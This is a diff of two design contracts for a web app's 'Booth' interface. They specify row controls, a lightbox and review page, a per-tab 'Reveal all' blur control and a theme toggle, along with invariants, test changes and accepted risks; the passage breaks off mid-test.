**A row's controls sit on its facts line**, each beside the state it changes:
|
||||
`release` after "kept", `★ keep` after a countdown or a hold, `× wipe` last.
|
||||
They are always visible, with no hover-only reveal: that was a column that
|
||||
reserved its room while invisible (operator, 2026-09-23, on the live Desk:
|
||||
"release and x take up space whether or not they're visible"), and touch has
|
||||
no hover. The side column renders only when the row has a badge, so a row
|
||||
without one reserves nothing. The forms, POST targets and `data-confirm`
|
||||
wording are unchanged.
|
||||
|
||||
- **On a coarse pointer every row control is at least 28px square**, the floor
|
||||
it had as a column, and wipe stands clear of the zip link. With scripts off
|
||||
no confirm fires, so a mis-tap on wipe is the delete. A fine pointer keeps
|
||||
the compact line.
|
||||
- **The confirm dialog shows the name as it should be READ.** Control and bidi
|
||||
formatting characters in an agent-made name show as U+FFFD, so a U+202E or a
|
||||
newline cannot rewrite what the operator approves. A `data-confirm` word the
|
||||
page does not know still asks, generically: the prompt fails closed.
|
||||
- **No page scrolls sideways at any width**, including an install path with no
|
||||
break opportunity in the footer or the empty Desk (`code` wraps anywhere).
|
||||
Tested at 390, 720, 850, 1000 and 1400px with the heaviest row the Desk draws.
|
||||
|
||||
### C5 — the lightbox (booth.html, booth_view)
|
||||
|
||||
- **Layout.** Two panes on a gallery booth: the set on the left, the
|
||||
**verdict aside** on the right (`position:sticky`, `data-region="verdict"`).
|
||||
Under 1000px the aside stacks above the set, with its flags and notes
|
||||
collapsed as `<details>`, which needs no script.
|
||||
- The markup is a CLOSED `<details>`.
|
||||
- Above 1000px, CSS alone shows its content (`::details-content`) and hides
|
||||
its summary, so nothing is folded where there is room.
|
||||
- A browser without `::details-content` shows the fold at every width: one
|
||||
tap, never hidden.
|
||||
- **Board booths are unchanged.** Anything with `links.md` keeps today's
|
||||
single column.
|
||||
- **The aside holds, top to bottom:**
|
||||
1. open picks (the existing `_marks.html` pick rendering);
|
||||
2. the flag tray;
|
||||
3. notes;
|
||||
4. the booth-note form.
|
||||
- **The flag tray is ordered by ORDINAL** — a declared change from the marks
|
||||
panel's `(created, id)`. It shows each flagged item's original file
|
||||
displayed small (no generated thumbnail), blurred if the item is blurred,
|
||||
with its #.
|
||||
The order is total with no tie-break, because rels are unique.
|
||||
- **Orphan flags** — flags whose target is no longer an item — follow the
|
||||
tray, by target, each with its unmark form. A flag the page cannot show
|
||||
must still be clearable, or it counts in the rail forever.
|
||||
- **The rail stays.** Same element, same `.rail` class (booth.html's cursor
|
||||
and base.html's `--rail-h` script both read it), same filter hrefs, same
|
||||
group anchors. When `rail.groups` is non-empty AND every group is one
|
||||
contiguous run in the rendered order, the grid additionally renders an
|
||||
inline group header before each group's first tile.
|
||||
- Groups come from basenames and the order from full paths, so groups can
|
||||
interleave (`d1/aa`, `d1/bb`, `d2/aa`).
|
||||
- A header would then either repeat or file an item under the wrong group,
|
||||
so interleaved groups get no inline headers. The rail's jump links are
|
||||
unaffected. It is a
|
||||
`<div>` spanning the grid, never a `figure.item`, so the keyboard and the
|
||||
order check are blind to it by construction.
|
||||
- **Every tile shows `#NN`** (its ordinal, zero-padded to the set's width).
|
||||
Each tile is `data-region="item-<url>"`, so the in-place script can replace
|
||||
exactly the tile it flagged.
|
||||
- **An audio or video tile carries a `review` link** to its review page. On
|
||||
those tiles a click drives the player, so without the link the review is
|
||||
reachable only by key.
|
||||
|
||||
### C6 — the review (view.html, booth_view_file)
|
||||
|
||||
This applies to image, video and audio items. Docs keep `doc.html`.
|
||||
|
||||
A requested rel the filesystem cannot represent (a NUL byte, an over-long
|
||||
path) is a 404, as any other unknown rel is — never a 500.
|
||||
|
||||
- **The stage**: the artifact at fit size, with a 1:1 toggle for images ONLY.
|
||||
- The toggle and its script are rendered and bound only when the stage is
|
||||
an `<img>`.
|
||||
- The toggle is a JS-only VIEWING convenience, as it is today: the button
|
||||
starts hidden and the script shows it. With scripts off the image shows at
|
||||
fit size, and no judgment depends on the toggle (INV-3).
|
||||
- Video and audio get their native controls and no toggle. A toggle that
|
||||
renders on audio and silently no-ops (today's script binds
|
||||
`getElementById('vimg')`) is the failure this names.
|
||||
- **The rail** (`data-region="rail"`) holds:
|
||||
- the item's ordinal `#NN` (its number in the whole set, the same number
|
||||
its tile shows);
|
||||
- `K of M`, where K is its position in `review_chain` and M is the length
|
||||
of `review_chain`. The tape's "N of M seen" uses the SAME M, and N counts
|
||||
`.seen` ∩ `review_chain`;
|
||||
- its position within its group, when the review RING spans two or more
|
||||
groups (the gallery rail's own rule: one group for everything says
|
||||
nothing);
|
||||
- the caption;
|
||||
- the flag form (`back=view`);
|
||||
- notes and the add-note form (`back=view`);
|
||||
- any open pick TARGETING this item, answerable here (`back=view`);
|
||||
- the booth's other open picks as a count and a link.
|
||||
- **The filmstrip** is `review_chain` in order, with ordinals, flagged frames
|
||||
underlined and the current frame in the reticle.
|
||||
- **The tape** (B's device) is one segment per `review_chain` item: seen /
|
||||
flagged / current, plus "N of M seen".
|
||||
- **The end of the set** is not a separate page. On the last ring item the
|
||||
rail adds a summary block: the seen count, the flag tray, and EVERY OTHER
|
||||
open pick, answerable in place.
|
||||
- That includes picks targeting other items, not only booth-level ones: the
|
||||
end of the set is where the remaining questions get cleared.
|
||||
- Before the last item, the other picks are a count and a link.
|
||||
- **Keys** (additive). **Every** key here, new and old, is ignored while focus
|
||||
is in an `input`, `textarea`, `select` or `contenteditable`, the same
|
||||
`isEditable` guard view.html carries today, so F never fires mid-note:
|
||||
|
||||
| key | action |
|
||||
|---|---|
|
||||
| ← → and Space | move. Shift+Space moves back. Space is left to a focused `<video>`/`<audio>` player, whose own play key it is |
|
||||
| F | flag |
|
||||
| N | focus the note |
|
||||
| Esc | back to the grid, at `#item-<url>` so the grid scrolls to where you were |
|
||||
|
||||
### C7 — copy and brand (the two rulings that are not layout)
|
||||
|
||||
- **Voice: plain and direct** (ruling `voice=plain`). Every NEW string R2
|
||||
introduces says what it means, with no villainy and no jokes. Existing
|
||||
strings are unchanged unless their surface is rewritten.
|
||||
- **No SVS emblem** anywhere in the Booth's chrome (ruling `emblem=no`). The
|
||||
brand dot and the reticle favicon from the SVOS retheme stay.
|
||||
|
||||
## Invariants
|
||||
|
||||
- **INV-1 — one resolver.** `ordinal` is set in `booth_items`. No route computes
|
||||
a position.
|
||||
- **INV-2 — order, stated.** Each ordered surface has a one-line rule:
|
||||
|
||||
| surface | rule |
|
||||
|---|---|
|
||||
| items | `sorted(rel)` |
|
||||
| ordinals | position in that |
|
||||
| review ring | that, filtered to media |
|
||||
| filmstrip, tape | the review ring |
|
||||
| flag tray | by ordinal |
|
||||
| Desk sections | fixed: needs → new → everything |
|
||||
| needs you | `(open_since, name)` |
|
||||
| new since you looked | `(-landed_at, name)` |
|
||||
| everything else | `(-landed_at, name)`: last updated first (amended 2026-09-23) |
|
||||
| bookmarks | `order_for_display` |
|
||||
|
||||
The notes list keeps `(created, id)`.
|
||||
- **INV-3 — JS-off parity.** Every judgment, filter and jump works with
|
||||
scripts disabled. The only JS-only affordances are:
|
||||
- the keys;
|
||||
- the in-place swap;
|
||||
- the image 1:1 toggle (a viewing convenience, unchanged from today);
|
||||
- the existing copy buttons and blur reveal.
|
||||
|
||||
The narrow-screen collapse is `<details>` and needs no script.
|
||||
- **INV-4 — 303 byte-identity, for every request shape that existed before
|
||||
R2.**
|
||||
- For a request where `wants_json` is False and `back` is absent or
|
||||
`marks`, each mark route's response (status, headers, body) is
|
||||
byte-identical to its pre-R2 response.
|
||||
- `back=view` is a NEW request shape with no pre-R2 counterpart. Its landing
|
||||
is specified in C3 and is the one declared exception.
|
||||
- **INV-5 — two named clocks.**
|
||||
- `mtime` / `_newest_mtime`: activity. It includes dotfiles and excludes
|
||||
locks, and it feeds lifetime. (It fed 'everything else' until 2026-09-23;
|
||||
see §3.)
|
||||
- `landed_at`: content only (non-dot entries), and it feeds 'new since you
|
||||
looked'.
|
||||
- Never the one where the other is meant: a mark or a view is not new
|
||||
content, and new content is not the only activity.
|
||||
- **INV-6 — no second renderer.** The in-place script inserts server-rendered
|
||||
HTML and builds none.
|
||||
- **INV-7 — autoescape.** No `|safe` on any booth name, item name, caption,
|
||||
why or mark text. The flag tray and filmstrip render names through the same
|
||||
escaping path as the grid.
|
||||
- **INV-8 — blur honesty.** A blurred item stays blurred on every new surface:
|
||||
the Desk preview strip, the flag tray, the filmstrip and the review stage.
|
||||
Reveal stays per-BROWSER and client-side (nothing persisted). Copy keeps admitting it is cosmetic.
|
||||
|
||||
## Assertions that change (declared before the code, per CLAUDE.md)
|
||||
|
||||
| test | today | after R2 | why |
|
||||
|---|---|---|---|
|
||||
| test_booth.py L785 | `class="grid kept-grid"` present when a booth is kept | absent; the kept booth appears in its Desk section with the `kept` lifetime line | requirement 8: the lanes sort nothing |
|
||||
| test_booth.py L786 | `class="card card-kept"` present | replaced by the row carrying `data-kept="1"` | same |
|
||||
| test_embed_browser.py `test_the_keyboard_flag_actually_submits` | pressing `f` causes a NAVIGATION (`page.expect_navigation()`), and the reloaded page shows the flag | pressing `f` causes NO navigation; the flag comes back from the server into the swapped tile. A window marker set before the keypress must survive, proving no reload | with JS on, the flag now applies in place (requirement 3). The gallery reload was the no-JS design working, not a defect, and the plain-form path is still pinned by the INV-4 golden. The defect R2 fixes is the full-size EJECTION, `view.html`'s flag form carrying no `back`. The test's real claim — the key reaches the server and the server's state comes back — is kept, and asserted more strictly |
|
||||
| test_booth.py L789 | the kept booth renders BEFORE the ephemeral one (`html.index("links") < html.index("scratch")`) | replaced by the Desk's stated order (needs → new → everything, each with its own key) | the kept-first order was the lane's; with no lane there is no kept-first rule, and a second hidden ordering would break INV-2 |
|
||||
| test_booth.py L810-811 | lane absent when nothing is kept | these two SURVIVE unchanged (they assert absence and stay true) | — |
|
||||
|
||||
Every other existing assertion is expected to survive, and one of the TDD
|
||||
slices is "the whole suite green before any new test". Named because they were
|
||||
checked:
|
||||
|
||||
- the `vnav vprev` / `vnav vnext` anchors (test_booth L569-591 and
|
||||
test_navigation L337) keep their classes and hrefs;
|
||||
- `Wipe now` stays in the booth header;
|
||||
- `class="boothhead"` stays.
|
||||
|
||||
## Accepted risks (named, not fixed)
|
||||
|
||||
- **`.seen` is read-modify-write without a lock.** Two reviews of the same
|
||||
booth racing can drop one rel from `.seen`. The cost is cosmetic — a frame
|
||||
shown unseen on the tape — and the next look repairs it; a lock would buy a
|
||||
cosmetic count at the price of a lock file the lifetime clock must ignore.
|
||||
- **A `.viewed` symlink planted by an agent freezes 'new'.** `viewed_at`
|
||||
reads it by `lstat`, and `record_view` refuses to write through it
|
||||
(`O_NOFOLLOW`), so the marker never moves again: once content lands after
|
||||
it, the booth reads as 'new' however often it is opened. It fails in the
|
||||
visible direction — shown, never hidden — and needs write access to the
|
||||
booth, which already buys worse. The remedy is deleting the link.
|
||||
- **`Item` gains `ordinal` with no default.** `booth_items` is the single
|
||||
construction site, keyword-only; a default would let a second site forget
|
||||
it silently (INV-1).
|
||||
|
||||
## Out of scope
|
||||
|
||||
- Compare (r3).
|
||||
- Thumbnails.
|
||||
- 1–9 answer keys.
|
||||
- Lifetime policy for answered picks.
|
||||
- The verbatim path. A verbatim booth's media items remain reachable at
|
||||
`view?f=` by URL, as today, and nothing in the verbatim page links there.
|
||||
- The link-board page (`/b/links/`) beyond CSS.
|
||||
@@ -0,0 +1,369 @@
|
||||
---
|
||||
contract_version: "0.1"
|
||||
status: "PROPOSED 2026-09-23 by design-dev, from operator rulings relayed by booth-dev the same day (thread 01M38BJ30WVQT870MS6WGM49EK): blur=A; three Desk-row rulings; a theme toggle. Contract panel folded. Both open points answered by the operator (thread 01M38CT9DH2N3Z4FSJ0MNE4DR1): × hides (A), and the theme reaches inside verbatim pages. DELIVERED IN TWO MERGES, blur first (operator: 'per booth blurring is now important since we are showing up to 4 images'): merge 1 = D2 + D2b, merge 2 = D1 + D3."
|
||||
module: "templates + base.html CSS/JS + the vendored token sheet (the Desk row, Reveal all, the theme toggle)"
|
||||
purpose: "Three operator rulings, one contract. THE DESK ROW: kept vs ephemeral reads at a glance; download/keep/release appear only on hover, at no space cost; the zip link leaves the middle. REVEAL ALL: one control reveals every blurred item in a booth for the life of the tab. THE THEME TOGGLE: System / Light / Dark at the top of every page."
|
||||
depends_on:
|
||||
- "booth.items.booth_items + Item.blurred (INV-1 of r2: the one resolver). Reveal all reads Item.blurred and nothing else. booth-dev is adding a booth-level blur flag that feeds Item.blurred (composes with `.blurred`, never overrides); this contract needs no change when it lands."
|
||||
- "templates/_lifetime.html `lifetime(kept, hold, expires_in)` — its OUTPUT is unchanged; the Desk wraps it."
|
||||
- "booth.app.index / list_booths row fields `kept`, `hold`, `expires_in`, `name`, `name_url`, `count`, `flags`, `marks_open`, `uploaded` (unchanged)."
|
||||
- "booth.app.booth_view / booth_view_file contexts (`name`, `items`, the review ring)."
|
||||
- "the in-place client in base.html (r2 C3): POSTs a form, re-fetches the CURRENT URL and swaps its `data-region` elements. It never navigates — every change of page, booth to booth included, is a full load — and it never touches <html>, the top bar, or anything outside a region."
|
||||
- "booth.items.is_booth_blurred(booth) + BOOTH_BLUR_FILE `.blurbooth` (booth-dev, c1108a1): the whole-booth blur marker. Fails toward BLURRED on an unreadable read."
|
||||
- "POST /b/{name}/blurbooth with `on=1|0` and optional `back=<rel>` → 303 to the booth, or to `view?f=<rel>` (booth-dev, c1108a1). Not a mark route: no 204, always the 303."
|
||||
language: "jinja + css + a little javascript"
|
||||
complexity: "medium"
|
||||
estimated_loc: 350
|
||||
confidence: 0.7
|
||||
touches:
|
||||
- "booth/templates/index.html (the row: facts line, lifetime pill, the hover cluster, the `blurred` badge; the confirm script unchanged)"
|
||||
- "booth/app.py (READS only, no new route: `booth_blurred` in the booth_view and booth_view_file contexts and on each list_booths row; `blurred_self` on each gallery dict, read off `Item.blurred_self` — moved onto the item record by booth-dev 2026-09-23 so blur state has one reader, invariant 3)"
|
||||
- "booth/templates/base.html (Desk row CSS; reveal-all CSS; the theme toggle markup in the top bar; the early <head> script; the toggle script)"
|
||||
- "booth/templates/booth.html (Reveal all in the booth header; per-tile reveal defers to it)"
|
||||
- "booth/templates/view.html (Reveal all in the review; the stage reveal defers to it)"
|
||||
- "booth/templates/_svos_tokens.css (RE-VENDORED at the same SVOS SHA ed2f8d8 with a new scoping transform; no value changes)"
|
||||
- "booth/static/embed.js (the `.bk-ask` colours follow the theme choice; D3)"
|
||||
- "tests/test_flow_browser.py, tests/test_flow.py (new tests; two assertions change, see below)"
|
||||
- "tests/mutations/r2_flow.toml (rows whose anchors this moves are re-aimed, never deleted without a replacement)"
|
||||
assumptions:
|
||||
- "ONE VIEWER, per r2. A reveal and a theme are per-browser; the server stores neither."
|
||||
- "EVERY JUDGMENT WORKS WITH JAVASCRIPT OFF (INV-3 of r2). Keep, release, wipe and zip stay plain forms and a link. Reveal all and the toggle are JS-only affordances and do not render without JS."
|
||||
resolved_questions:
|
||||
- "OPEN-1: does × (wipe) hide until hover with download/keep/release? ANSWERED YES by the operator (2026-09-23), the recommendation."
|
||||
- "Does the theme toggle reach the ask chrome (`.bk-ask`) inside verbatim pages? ANSWERED YES by the operator: 'theme toggle reaches inside'."
|
||||
---
|
||||
|
||||
# R2b — the Desk row, Reveal all, the theme toggle
|
||||
|
||||
## D1 — the Desk row
|
||||
|
||||
The operator, verbatim: *"let's make it obvious which are kept and which are
|
||||
ephemeral"*; *"the zip download button is in between keep/release and wipe, and
|
||||
looks awkward"*; *"let's have the download, keep and release buttons only appear
|
||||
on mouseover"*.
|
||||
|
||||
- **The lifetime is a pill in the row's right column, always visible.** It is
|
||||
state, not a control, so it stays when the controls hide, and the right column
|
||||
scans down the Desk as one column of state.
|
||||
- `life-kept` when `b.kept`: sage (SVOS: a judgment made), prefixed `★`.
|
||||
- `life-held` when not kept and `b.hold` is `open` or `unreadable`: amber.
|
||||
- `life-count` otherwise: neutral outline, prefixed `◷`.
|
||||
- The pill wraps `lifetime(...)`, whose output is unchanged; the class is
|
||||
chosen from `kept`/`hold` alone.
|
||||
- The badges (open count, new, pickup, marks unreadable) stay in the same
|
||||
column, above the pill. The column always renders now, because every row
|
||||
has a lifetime.
|
||||
- **The facts line is facts only**: item count and flag count. The lifetime and
|
||||
every control leave it.
|
||||
- **The controls are one cluster, `.desk-acts`, in this order:** `⬇ zip`, then
|
||||
`★ keep` or `release`, then `× wipe`, set apart from the other two. Zip leaves
|
||||
the middle; release stays next to × (the operator's earlier "x next to
|
||||
release").
|
||||
- **Where a real hover exists, the cluster takes no room.** "Real hover" is
|
||||
`(hover: hover) and (pointer: fine)` with NO coarse pointer present
|
||||
(`any-pointer: coarse` does not match). A touch laptop reports a mouse, but a
|
||||
finger on it cannot hover, so it gets the touch treatment below.
|
||||
- At rest the cluster is absolutely positioned over the top-right corner of
|
||||
the row's preview strip, at opacity 0 and `pointer-events: none`. On row
|
||||
`:hover` or `:focus-within`, BOTH are restored: opacity 1 and
|
||||
`pointer-events: auto`. A visible control that cannot be clicked is a
|
||||
defect.
|
||||
- It covers pictures, never information: its box never intersects
|
||||
`.desk-main` or `.desk-side` at any width.
|
||||
- Keyboard: the controls stay in the tab order while hidden (opacity, never
|
||||
`visibility`/`display`), and focusing one reveals the cluster.
|
||||
- At ≤700px the strip is the row's first line, full width, and the text
|
||||
column, pill and badges wrap below it. The cluster sits at the strip's
|
||||
top-right, which is still picture.
|
||||
- **Everywhere else (no hover, a coarse primary pointer, or any coarse pointer
|
||||
present), the cluster is visible and in flow**, on its own line at the
|
||||
bottom of the row.
|
||||
- **The cluster is LAST in the row's markup**, so the booth's name comes first
|
||||
in tab order and wipe comes last. Where a real hover exists it is placed over
|
||||
the strip from the row's own box: the strip keeps to the row's top, 210px
|
||||
wide from the row's 12px padding.
|
||||
- Accepted: the hover query uses Media Queries 4 `not (...)`. An engine
|
||||
without MQ4 drops the whole query, and the failure is the safe
|
||||
direction: the controls show, in flow.
|
||||
- Known limit: the touch-LAPTOP branch (a fine primary pointer plus a coarse
|
||||
one) cannot be emulated, because Chromium's touch emulation makes the
|
||||
primary pointer coarse. That branch is covered by reading the media query,
|
||||
not by a test. Hover-only would mean no
|
||||
controls at all on touch. Every control there is at least 28px square
|
||||
(r2's Slate T2 floor).
|
||||
- **× hides with the others** (OPEN-1, answered yes). A visible × on every row
|
||||
would be a standing invitation to the one irreversible action. A visible × on
|
||||
every row is a standing invitation to the one irreversible action, and hiding
|
||||
the safe controls while the destructive one stays inverts the priority. It
|
||||
appears with the cluster, last, set apart.
|
||||
- Unchanged: the forms, their POST targets, `data-confirm`, `data-booth`, the
|
||||
confirm script and its `shown()`, the ≥28px coarse-pointer floor, and "no page
|
||||
scrolls sideways at any width".
|
||||
|
||||
### D1b — dates (operator, added 2026-09-23: "I think I want creation and update dates on the booths now too")
|
||||
|
||||
Merge 2, with the row. booth-dev has put both on the record (thread
|
||||
01M38D39ANKF2TW2F15TEYJ1GT):
|
||||
- `created_at` is the directory's birth time via `statx`, a float epoch, or
|
||||
None when the filesystem cannot say. None renders as NOTHING, never a guess.
|
||||
- "Updated" is `landed_at`, the content clock the "new" section already reads.
|
||||
|
||||
They render on the Desk row's facts line and in the booth header's status line
|
||||
as dated FACTS, a different kind of thing from the lifetime pill (state) and the
|
||||
controls (actions). One macro, `_dates.html`, serves both:
|
||||
- **created** is a DATE, "created 12 Sep" (with the year only when it is not
|
||||
this year's);
|
||||
- **updated** is an AGE, "updated 5d ago", measured from ONE clock per page
|
||||
(`now` in the context), so every row is measured from the same instant;
|
||||
- each is a `<time>` with `datetime` (ISO) and its exact local stamp as the
|
||||
title;
|
||||
- **updated shows whenever it differs from created by a minute or more,
|
||||
EITHER way.** Copied files keep their mtimes while the folder is born now,
|
||||
so content can be older than its booth. Within a minute, one date;
|
||||
- a content clock AHEAD of now is said as its DATE, never as an age ("updated
|
||||
just now" would be false);
|
||||
- an age is in its largest whole unit, a day being 24h;
|
||||
- a date the filesystem cannot give, or the calendar cannot hold, renders
|
||||
NOTHING. The filters never raise: the Desk renders every row in one
|
||||
response, so one unrenderable clock would otherwise 500 the index for every
|
||||
booth.
|
||||
|
||||
## D2 — Reveal all (blur ruling A)
|
||||
|
||||
- **One STATE per booth, shown by a control in two places: "👁 reveal all —
|
||||
blur is cosmetic" / "🙈 blur again".** It appears in the booth header, the
|
||||
review's top bar and a blurred doc's own top bar. Every instance sits OUTSIDE
|
||||
every `data-region`, so no in-place swap replaces it: its state lives in the
|
||||
tab, and a swap must never reset it. Below 600px it reads "👁 reveal all";
|
||||
its title still says the blur is cosmetic. The server puts the control in the markup only
|
||||
where it can act, and always with the `hidden` attribute: in the header when
|
||||
any item of the booth is blurred (`Item.blurred`), and in the review when any
|
||||
item of the review RING is (a blurred doc is not on the review page, so a
|
||||
control there would act on nothing). The script removes `hidden` and binds it. Without
|
||||
JS it is in the markup but never shown.
|
||||
- **State: `sessionStorage["booth.reveal:" + <booth name>] = "1"`.** Per booth,
|
||||
per tab, gone when the tab closes, so a blurred booth is blurred again next
|
||||
time. Nothing reaches the server.
|
||||
- A READ that throws (a private window, blocked site data) reads as "not
|
||||
revealed".
|
||||
- A WRITE that throws still applies the click to the page in front of you:
|
||||
it is only not remembered for the next page. A control that does nothing
|
||||
when clicked is a defect. Neither case ever raises.
|
||||
- **The mechanism is one class on `<html>`, `reveal-all`.** CSS lifts the blur
|
||||
under it on every booth surface: tiles, the flag tray, the filmstrip and the
|
||||
review stage. `<html>` is outside every `data-region`, so an in-place swap
|
||||
can never drop it.
|
||||
- `<html data-booth="<name>">` is on EVERY page rendered for one booth: the
|
||||
booth page, the review, the doc view and the marks page. It is an
|
||||
autoescaped attribute, read by `getAttribute` and never templated into
|
||||
script. An early `<head>` script adds `reveal-all` before first paint when
|
||||
that booth's key is set, so a revealed booth does not flash blurred on the
|
||||
next page of the reel.
|
||||
- Because every change of page is a full load, the class is re-decided per
|
||||
page, from that page's `data-booth`. Booth A's reveal cannot follow you
|
||||
into booth B.
|
||||
- The index's `<html>` carries no `data-booth` (its rows' own `data-booth`
|
||||
attributes are unrelated), so **nothing on the index is revealed by D2**,
|
||||
the Desk strip included.
|
||||
- **A board holding files gets both controls.** Only the one-click wipe is
|
||||
board-suppressed; an item's "◉ booth" label points at the header control,
|
||||
so the control must be there.
|
||||
- **The full-page doc view is blurred honestly.** A blurred doc's own page
|
||||
renders its body blurred, with its own JS-only reveal; Reveal all lifts it
|
||||
by the same `<html>` class.
|
||||
- **The per-item reveal defers to it, BY STYLESHEET.** Under `.reveal-all` the
|
||||
per-tile and stage reveal buttons are `display: none`. That is a CSS
|
||||
consequence of the class, so markup swapped in after a save obeys it with no
|
||||
script. Reveal all never touches an item's own `revealed` class: "blur
|
||||
again" returns every item to exactly the per-item state it had, an item
|
||||
revealed on its own staying revealed.
|
||||
- INV-8 of r2 holds: the server renders every blurred item blurred; the reveal
|
||||
stays per-browser and client-side; the copy keeps saying it is cosmetic.
|
||||
|
||||
## D2b — the booth blur toggle (added after the contract panel was dispatched)
|
||||
|
||||
booth-dev landed the whole-booth marker and its route while the panel was
|
||||
reading; this is the control the operator uses, which the blur ruling assumed.
|
||||
|
||||
- **"◌ blur booth" / "◉ booth blurred" in the booth header and the review's
|
||||
top bar (`.vbar`)**, each wrapped in its OWN region, `blur-booth`. Its label is
|
||||
server state, so an in-place save refreshes it with everything else; a fog
|
||||
set elsewhere since the page loaded would otherwise leave it saying "blur
|
||||
booth". It is a plain `<form method=post action=/b/<name>/blurbooth>` with
|
||||
`on=1|0`, so it works with scripts off (INV-2). From the review it carries
|
||||
`back=<rel>`. The route lands on the review only when `back` is an item of
|
||||
the review ring, and otherwise on the booth page; the landing is built from
|
||||
the ring, never echoed.
|
||||
- **Fogging never writes through a link.** booth-dev's `set_booth_blurred` used
|
||||
`touch()`, which followed a planted `.blurbooth` symlink: a click of this
|
||||
control rewrote an outside file's mtime, or created a dangling target. Any
|
||||
entry already at the name reads as fogged, so nothing is written; otherwise
|
||||
the marker is created with `O_CREAT | O_EXCL | O_NOFOLLOW`.
|
||||
- **Space never hijacks a focused control.** The review's Space-to-advance
|
||||
ignores a focused button, link or summary, so a keyboard can press these
|
||||
controls.
|
||||
- **Its state comes from the server**, never from the client:
|
||||
`booth_blurred = is_booth_blurred(booth)` in both contexts. The label says
|
||||
what IS, and pressing it flips it.
|
||||
- **The Desk row carries a `blurred` badge** when `booth_blurred`, so a fogged
|
||||
strip says why. It is one `is_booth_blurred` call per booth in the pass
|
||||
`list_booths` already makes. The badge is information: it is not the
|
||||
control, and it does not hide on hover.
|
||||
- It is independent of Reveal all. Fogging a booth sets server state for every
|
||||
viewer; Reveal all lifts the fog for one tab.
|
||||
- **Each item's own blur control tells the truth under a fogged booth.**
|
||||
`Item.blurred` is the COMPOSED fact (own OR booth). The per-item form changes
|
||||
only the item's own entry in `.blurred`, so the gallery also carries
|
||||
`blurred_self`, from `Item.blurred_self` (the same single read `booth_items` makes for `blurred`).
|
||||
- An item blurred only because the booth is shows "◉ booth", a label with no
|
||||
form, pointing at the header. A per-item un-blur there would be overridden
|
||||
by the booth flag and visibly do nothing.
|
||||
- An item blurred on its own keeps its "◉ blurred" un-blur.
|
||||
- Found by rendering the built page, not by any review.
|
||||
|
||||
## D3 — the theme toggle
|
||||
|
||||
- **System · Light · Dark, in the top bar of every page.** A segmented control
|
||||
of three buttons with `aria-pressed`. The top bar is outside every
|
||||
`data-region`, so no swap replaces it. It is in the markup with `hidden`,
|
||||
and the script removes that and binds it.
|
||||
- **State: `localStorage["booth.theme"]` ∈ {`light`, `dark`}; absent = System.**
|
||||
The opposite lifetime to Reveal all, deliberately: a theme should outlive the
|
||||
tab, a reveal must not. A READ that throws reads as System. A WRITE that
|
||||
throws still applies the choice to this page, and it is only not
|
||||
remembered.
|
||||
- **Mechanism: `data-theme` on `<html>`.** Absent = the OS preference, exactly
|
||||
today's sheet. An early `<head>` script sets it before first paint, so a
|
||||
forced theme never flashes the other one.
|
||||
- **A choice made in another tab moves every open Booth page** (the `storage`
|
||||
event), as it moves the ask chrome.
|
||||
- **System is live-following BY CONSTRUCTION.** Choosing System removes
|
||||
`data-theme`, and the `prefers-color-scheme` media query takes over. A media
|
||||
query tracks the OS live, so no `matchMedia` listener is needed: JS never
|
||||
computes the theme.
|
||||
- **The token sheet is re-vendored at the same SVOS SHA (ed2f8d8) with a new
|
||||
scoping transform, and no value changes.** The complete selector list:
|
||||
|
||||
| block | selector |
|
||||
|---|---|
|
||||
| primitives, dark, art layer | `:root` (unconditional: dark is the default, and what forced dark leaves standing) |
|
||||
| light + art-light | `@media (prefers-color-scheme: light)` → `:root:not([data-theme="dark"])` |
|
||||
| light + art-light | `:root[data-theme="light"]` |
|
||||
| dark-hc | `@media (prefers-contrast: more)` → `:root` |
|
||||
| light-hc | `@media (prefers-contrast: more) and (prefers-color-scheme: light)` → `:root:not([data-theme="dark"])` |
|
||||
| light-hc | `@media (prefers-contrast: more)` → `:root[data-theme="light"]` |
|
||||
|
||||
- **Forced dark** excludes both light rows, so the unconditional dark block
|
||||
stands, with dark-hc under more contrast.
|
||||
- **Forced light** matches the bare light row at specificity (0,2,0), which
|
||||
beats dark-hc's `:root` (0,1,0). The light-hc row then applies under more
|
||||
contrast.
|
||||
- **The preservation check runs in BOTH directions at vendoring time**:
|
||||
every declaration of the old sheet is in the new, and the new has none the
|
||||
old lacked. The committed test checks each re-scoped copy against the
|
||||
UNMOVED dark block. SVOS's light and dark declare the same 42 properties,
|
||||
and its dark-hc and light-hc the same 41, so a declaration the transform
|
||||
drops fails it. Light declares every dark-block property PLUS the art
|
||||
layer's four light-only values (the three shadows and the armed glow).
|
||||
That extra set is written in the test from SVOS, never derived from the
|
||||
copies, so dropping it from both copies fails too.
|
||||
- **No JS: no toggle, and the page follows the OS**, as today.
|
||||
- **The toggle reaches inside verbatim pages** (operator: "theme toggle reaches
|
||||
inside"). `embed.js` reads the same `localStorage["booth.theme"]` (the same
|
||||
origin) and marks each `.bk-ask` IT MOUNTED (never an author's own element
|
||||
of that class) with `data-bk-theme`. Its
|
||||
colours follow that attribute exactly as the Booth's own sheet follows
|
||||
`data-theme`: forced when set, OS when absent. It follows a change made in
|
||||
another tab through the `storage` event. It sets nothing on the host page's
|
||||
own `<html>`: the author's page is not ours to theme, only our guest chrome
|
||||
inside it. If a forced theme makes the chrome look actively broken against
|
||||
a host page, that goes back to the operator rather than being absorbed.
|
||||
|
||||
## Invariants
|
||||
|
||||
- **INV-1 — nothing new on the server beyond READS.** No route and no file are
|
||||
added: `booth_blurred` in two contexts and on the Desk row (`is_booth_blurred`),
|
||||
and `blurred_self` per gallery item (`Item.blurred_self`, from `booth_items`' one read). D2 and D3 are per-browser state; D1 is markup and CSS.
|
||||
- **INV-2 — JS-off parity (r2 INV-3).** Every control on the row works with
|
||||
scripts off. Reveal all and the toggle do not render without JS. The page
|
||||
follows the OS.
|
||||
- **INV-3 — no reserved room for a hidden control** where a real hover exists.
|
||||
The box of every element in the row other than the cluster — the strip, each
|
||||
preview image, the text column, the side column, the pill — is identical
|
||||
with the cluster present or removed.
|
||||
- **INV-4 — blur honesty (r2 INV-8).** Nothing on the index is revealed by D2.
|
||||
- **INV-5 — autoescape.** The booth name reaches the reveal-state machinery
|
||||
only as an escaped attribute value (`data-booth`), read by `getAttribute` and
|
||||
never templated into a script.
|
||||
- **INV-6 — no flash.** A forced theme and a set reveal are applied before
|
||||
first paint.
|
||||
|
||||
## TESTS
|
||||
|
||||
- `the_row_controls_take_no_room_where_a_hover_exists` [tracer]: at rest the
|
||||
cluster is at opacity 0 and cannot be clicked. On row hover it is at opacity 1
|
||||
and a click on keep reaches the server. The box of every other element in
|
||||
the row is identical with the cluster removed. The cluster's box never
|
||||
